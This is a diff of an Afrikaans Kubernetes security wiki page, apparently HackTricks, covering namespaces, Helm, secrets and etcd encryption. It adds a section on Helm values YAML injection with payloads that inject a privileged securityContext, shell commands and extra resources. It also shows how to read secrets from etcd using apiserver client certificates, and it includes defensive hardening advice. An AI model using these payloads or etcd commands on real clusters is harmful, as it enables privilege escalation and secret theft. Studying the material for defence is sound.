minikube gebruik: ``` @@ -312,33 +312,94 @@ kube-node-lease Active 1d kube-public Active 1d kube-system Active 1d ``` -- **kube-system**: Dit is nie bedoel vir gebruikersgebruik nie en jy behoort dit nie te verander nie. Dit is vir master en kubectl prosesse. -- **kube-public**: Publiek toeganklike data. Bevat ’n configmap wat clusterinligting bevat -- **kube-node-lease**: Bepaal die beskikbaarheid van ’n node +- **kube-system**: Dit is nie bedoel vir of die gebruikers gebruik dit nie en jy behoort dit nie aan te raak nie. Dit is vir master en kubectl prosesse. +- **kube-public**: Openbaar toeganklike data. Bevat 'n configmap wat cluster inligting bevat +- **kube-node-lease**: Bepaal die beskikbaarheid van 'n node - **default**: Die namespace wat die gebruiker sal gebruik om resources te skep ```bash #Create namespace kubectl create namespace my-namespace ``` > [!NOTE] -> Let daarop dat die meeste Kubernetes-bronne (bv. pods, services, replication controllers, en ander) in some namespaces is. However, ander bronne soos namespace-bronne en low-level-bronne, soos nodes en persistenVolumes is nie in ’n namespace nie. Om te sien watter Kubernetes-bronne in ’n namespace is en nie is nie: +> Let daarop dat die meeste Kubernetes resources (bv. pods, services, replication controllers, en ander) in some namespaces is. However, ander resources soos namespace resources en low-level resources, soos nodes en persistenVolumes is nie in ’n namespace nie. Om te sien watter Kubernetes resources in ’n namespace is en watter nie: > > ```bash > kubectl api-resources --namespaced=true #In a namespace > kubectl api-resources --namespaced=false #Not in a namespace > ``` -Jy kan die namespace stoor vir alle daaropvolgende kubectl commands in daardie context. +Jy kan die namespace vir alle daaropvolgende kubectl commands in daardie context stoor. ```bash kubectl config set-context --current --namespace= ``` ### Helm -Helm is die **package manager** vir Kubernetes. Dit laat toe om YAML-lêers te package en hulle te versprei in public en private repositories. Hierdie packages word **Helm Charts** genoem. +Helm is die **package manager** vir Kubernetes. Dit laat toe om YAML-lêers te package en te versprei in publieke en private repositories. Hierdie packages word **Helm Charts** genoem. ``` helm search ``` -Helm is ook `n template engine wat toelaat om config files met variables te genereer: +Helm is ook 'n template engine wat dit moontlik maak om config files met variables te genereer: + +### Helm `.Values` YAML injection + +As 'n chart **aanvaller-beheerde values** direk in YAML invoeg, sal Helm hulle **as rou YAML-inhoud render** tensy die template dit uitdruklik quote, convert, of validate. Dit is veral gevaarlik in **GitOps**-omgewings (byvoorbeeld met **ArgoCD**) waar developers slegs toegelaat word om `values.yaml` te wysig en aanvaar word dat die chart betroubaar is. + +**Tipiese kwesbare patrone:** +```yaml +spec: +replicas: {{ .Values.replicaCount }} +... +image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}" +``` +As ’n aanvaller daardie waardes kan beheer, kan hulle YAML multiline scalars (`|` or `|-`) misbruik om die verwagte konteks te **breek**, **nuwe velde** op die regte inspringingsvlak in te spuit, en selfs **nuwe YAML documents** met `---` in te spuit. + +### Exploitation ideas + +- **Field injection** from scalar-looking values: +```yaml +replicaCount: | +3 +injectedAttribute: true +``` +Dit kan 'n numeries-lykende veld omskep in bykomende manifest-attribute. + +- **Quoted-context breakout** om container-attribute soos `command`, `args`, of `securityContext` in te spuit: +```yaml +image: +tag: |- +1.0.0" +securityContext: +privileged: true +command: ["/bin/sh", "-c"] +args: ["id"] +``` +- **Arbitrary object injection** deur ekstra YAML-dokumente met `---` te skep, wat resources soos `Namespace`, `Pod`, `Role`, `ClusterRole`, `RoleBinding`, of `ClusterRoleBinding` kan skep as die Helm/ArgoCD service account toegelaat word om hulle te skep. Dit koppel direk met [RBAC abuse](kubernetes-role-based-access-control-rbac.md), [abusing dangerous roles](abusing-roles-clusterroles-in-kubernetes/), en [namespace pivoting](kubernetes-namespace-escalation.md). + +> [!WARNING] +> Beheer oor `values.yaml` in ’n kwesbare chart kan **arbitrary workload creation**, **command execution inside Pods**, **privileged Pod deployment**, en soms **cluster compromise** word. + +### Helm v3 vs Helm v4 + +- **Helm v3** kan ingevoegde onbekende fields aanvaar solank die finale gerenderde output geldige YAML is. +- **Helm v4** gebruik **Server-Side Apply** by verstek en verwerp verskeie ongeldige fields teen die Kubernetes schema. +- However, **Helm v4 does not fully solve the problem**: ’n attacker kan steeds **geldige resources first** invoeg en ’n finale ongeldige object byvoeg net om die gebreekte context te absorbeer, sodat voorheen ingevoegde geldige resources steeds geskep word. + +### Defensive patterns + +Behandel elke Helm value as **untrusted input**: +```yaml +image: {{ printf "%s:%s" .Values.image.repository .Values.image.tag | quote }} +replicas: {{ .Values.replicaCount | int }} +{{- if not (regexMatch "^(latest|1\.1|dev)$" .Values.image.tag) }} +{{- fail "invalid image.tag" }} +{{- end }} +``` +Bykomende hardening: + +- Gebruik `values.schema.json` om **tipes**, **verpligte sleutels**, en **regex patterns** af te dwing tydens `helm template`, `helm install`, `helm upgrade`, en `helm lint`. +- In **ArgoCD**, beperk die kinds wat ’n application kan skep via `AppProject` reëls soos `clusterResourceWhitelist`, en verkies **namespace-scoped** ArgoCD permissions waar moontlik. +- Gebruik **ValidatingAdmissionPolicy** / **ValidatingAdmissionPolicyBinding**, Kyverno, of Gatekeeper reëls om gevaarlike uitsette soos **privileged Pods** te blokkeer, selfs al was rendering gekompromitteer. +- As ’n teiken-namespace deur Pod Security controls beskerm word, kyk of die attacker ’n **new namespace** kan inplant waar daardie controls nie geld nie, en gebruik dan die nuwe workload vir [pod escape](abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md) of verdere [post-compromise attacks from inside a pod](attacking-kubernetes-from-inside-a-pod.md). ## Kubernetes secrets @@ -348,11 +409,11 @@ Secrets kan dinge wees soos: - API, SSH Keys. - OAuth tokens. -- Credentials, Passwords (plain text of b64 + encryption). -- Inligting of comments. +- Credentials, Passwords (plain text or b64 + encryption). +- Information or comments. - Database connection code, strings… . -Daar is verskillende types van secrets in Kubernetes +Daar is verskillende tipes secrets in Kubernetes | Builtin Type | Usage | | ----------------------------------- | ----------------------------------------- | @@ -366,13 +427,13 @@ Daar is verskillende types van secrets in Kubernetes | bootstrap.kubernetes.io/token | bootstrap token data | > [!NOTE] -> **Die Opaque type is die default een, die tipiese key-value pair wat deur users gedefinieer word.** +> **Die Opaque type is die verstek een, die tipiese key-value pair wat deur users gedefinieer word.** **Hoe secrets werk:** ![Kubernetes secrets diagram showing secret data reaching the API server and being consumed by a pod](https://sickrov.github.io/media/Screenshot-164.jpg) -Die volgende configuration file definieer ’n **secret** genaamd `mysecret` met 2 key-value pairs `username: YWRtaW4=` en `password: MWYyZDFlMmU2N2Rm`. Dit definieer ook ’n **pod** genaamd `secretpod` wat die `username` en `password` wat in `mysecret` gedefinieer is, sal blootstel in die **environment variables** `SECRET_USERNAME` \_\_ en \_\_ `SECRET_PASSWOR`. Dit sal ook die `username` secret binne `mysecret` **mount** in die path `/etc/foo/my-group/my-username` met `0640` permissions. +Die volgende configuration file definieer ’n **secret** genaamd `mysecret` met 2 key-value pairs `username: YWRtaW4=` en `password: MWYyZDFlMmU2N2Rm`. Dit definieer ook ’n **pod** genaamd `secretpod` wat die `username` en `password` wat in `mysecret` gedefinieer is, sal blootstel in die **environment variables** `SECRET_USERNAME` \_\_ en \_\_ `SECRET_PASSWOR`. Dit sal ook die `username` secret binne `mysecret` mount by die pad `/etc/foo/my-group/my-username` met `0640` permissions. ```yaml:secretpod.yaml apiVersion: v1 kind: Secret @@ -424,25 +485,25 @@ env | grep SECRET && cat /etc/foo/my-group/my-username && echo ``` ### Secrets in etcd -**etcd** is 'n konsekwente en hoog-beskikbare **key-value store** wat as Kubernetes se backing store gebruik word vir alle cluster data. Kom ons verkry toegang tot die secrets wat in etcd gestoor is: +**etcd** is 'n konsekwente en hoog-beskikbare **key-value store** wat as Kubernetes se backing store vir alle cluster-data gebruik word. Kom ons kry toegang tot die secrets wat in etcd gestoor word: ```bash cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep etcd ``` -Jy sal sertifikate, sleutels en URL’s sien wat in die FS geleë is. Sodra jy dit kry, sal jy in staat wees om aan etcd te koppel. +Jy sal sien sertifikate, sleutels en URL’s waar dit in die FS geleë is. Sodra jy dit kry, sal jy in staat wees om aan te koppel na etcd. ```bash #ETCDCTL_API=3 etcdctl --cert --key --cacert endpoint=[] health ETCDCTL_API=3 etcdctl --cert /etc/kubernetes/pki/apiserver-etcd-client.crt --key /etc/kubernetes/pki/apiserver-etcd-client.key --cacert /etc/kubernetes/pki/etcd/etcd/ca.cert endpoint=[127.0.0.1:1234] health ``` -Sodra jy kommunikasie tot stand gebring het, sal jy die secrets kan kry: +Sodra jy kommunikasie bewerkstellig, sal jy in staat wees om die secrets te kry: ```bash #ETCDCTL_API=3 etcdctl --cert --key --cacert endpoint=[] get ETCDCTL_API=3 etcdctl --cert /etc/kubernetes/pki/apiserver-etcd-client.crt --key /etc/kubernetes/pki/apiserver-etcd-client.key --cacert /etc/kubernetes/pki/etcd/etcd/ca.cert endpoint=[127.0.0.1:1234] get /registry/secrets/default/secret_02 ``` -**Voeg enkripsie by die ETCD** +**Enkripsie byvoeg tot die ETCD** -By default word al die secrets in **plain** teks binne etcd gestoor tensy jy ’n enkripsielaag toepas. Die volgende voorbeeld is gebaseer op [https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/) +By verstek word al die secrets as **plain** teks binne etcd gestoor tensy jy 'n enkripsielaag toepas. Die volgende voorbeeld is gebaseer op [https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/) ```yaml:encryption.yaml apiVersion: apiserver.config.k8s.io/v1 kind: EncryptionConfiguration @@ -456,7 +517,7 @@ keys: secret: cjjPMcWpTPKhAdieVtd+KhG4NN+N6e3NmBPMXJvbfrY= #Any random key - identity: {} ``` -Daarna moet jy die `--encryption-provider-config` vlag op die `kube-apiserver` stel om na die ligging van die geskepte config-lêer te wys. Jy kan `/etc/kubernetes/manifest/kube-apiserver.yaml` wysig en die volgende lyne byvoeg: +Daarna moet jy die `--encryption-provider-config` vlag op die `kube-apiserver` stel om na die ligging van die geskepte konfigurasielêer te wys. Jy kan `/etc/kubernetes/manifest/kube-apiserver.yaml` wysig en die volgende reëls byvoeg: ```yaml containers: - command: @@ -507,12 +568,12 @@ kubectl get secrets --all-namespaces -o json | kubectl replace -f - ``` **Finale wenke:** -- Probeer om nie secrets in die FS te hou nie, kry hulle van ander plekke. -- Kyk na [https://www.vaultproject.io/](https://www.vaultproject.io) om meer beskerming by jou secrets te voeg. +- Probeer om nie secrets in die FS te hou nie, kry hulle van ander plekke af. +- Kyk na [https://www.vaultproject.io/](https://www.vaultproject.io) vir add more protection to your secrets. - [https://kubernetes.io/docs/concepts/configuration/secret/#risks](https://kubernetes.io/docs/concepts/configuration/secret/#risks) - [https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm](https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm) -## Verwysings +## References {{#ref}} https://sickrov.github.io/ @@ -522,12 +583,13 @@ https://sickrov.github.io/ https://www.youtube.com/watch?v=X48VuDVv0do {{#endref}} -{{#ref}} -https://kubernetes.io/docs/concepts/storage/volumes/#image -{{#endref}} - -{{#ref}} -https://kubernetes.io/docs/tasks/configure-pod-container/image-volumes/ -{{#endref}} +- [Charting your way in: Helm template injection](https://synacktiv.com/en/publications/charting-your-way-in-helm-template-injection.html) +- [Helm template functions and pipelines](https://helm.sh/docs/chart_template_guide/functions_and_pipelines/) +- [Helm chart schema files (`values.schema.json`)](https://helm.sh/docs/topics/charts/#schema-files) +- [Argo CD projects (`AppProject` restrictions)](https://argo-cd.readthedocs.io/en/latest/user-guide/projects/) +- [Argo CD multiple sources / external Helm value files](https://argo-cd.readthedocs.io/en/latest/user-guide/multiple_sources/#helm-value-files-from-external-git-repository) +- [Kubernetes ValidatingAdmissionPolicy](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/) +- [https://kubernetes.io/docs/concepts/storage/volumes/#image](https://kubernetes.io/docs/concepts/storage/volumes/#image) +- [https://kubernetes.io/docs/tasks/configure-pod-container/image-volumes/](https://kubernetes.io/docs/tasks/configure-pod-container/image-volumes/) {{#include ../../banners/hacktricks-training.md}}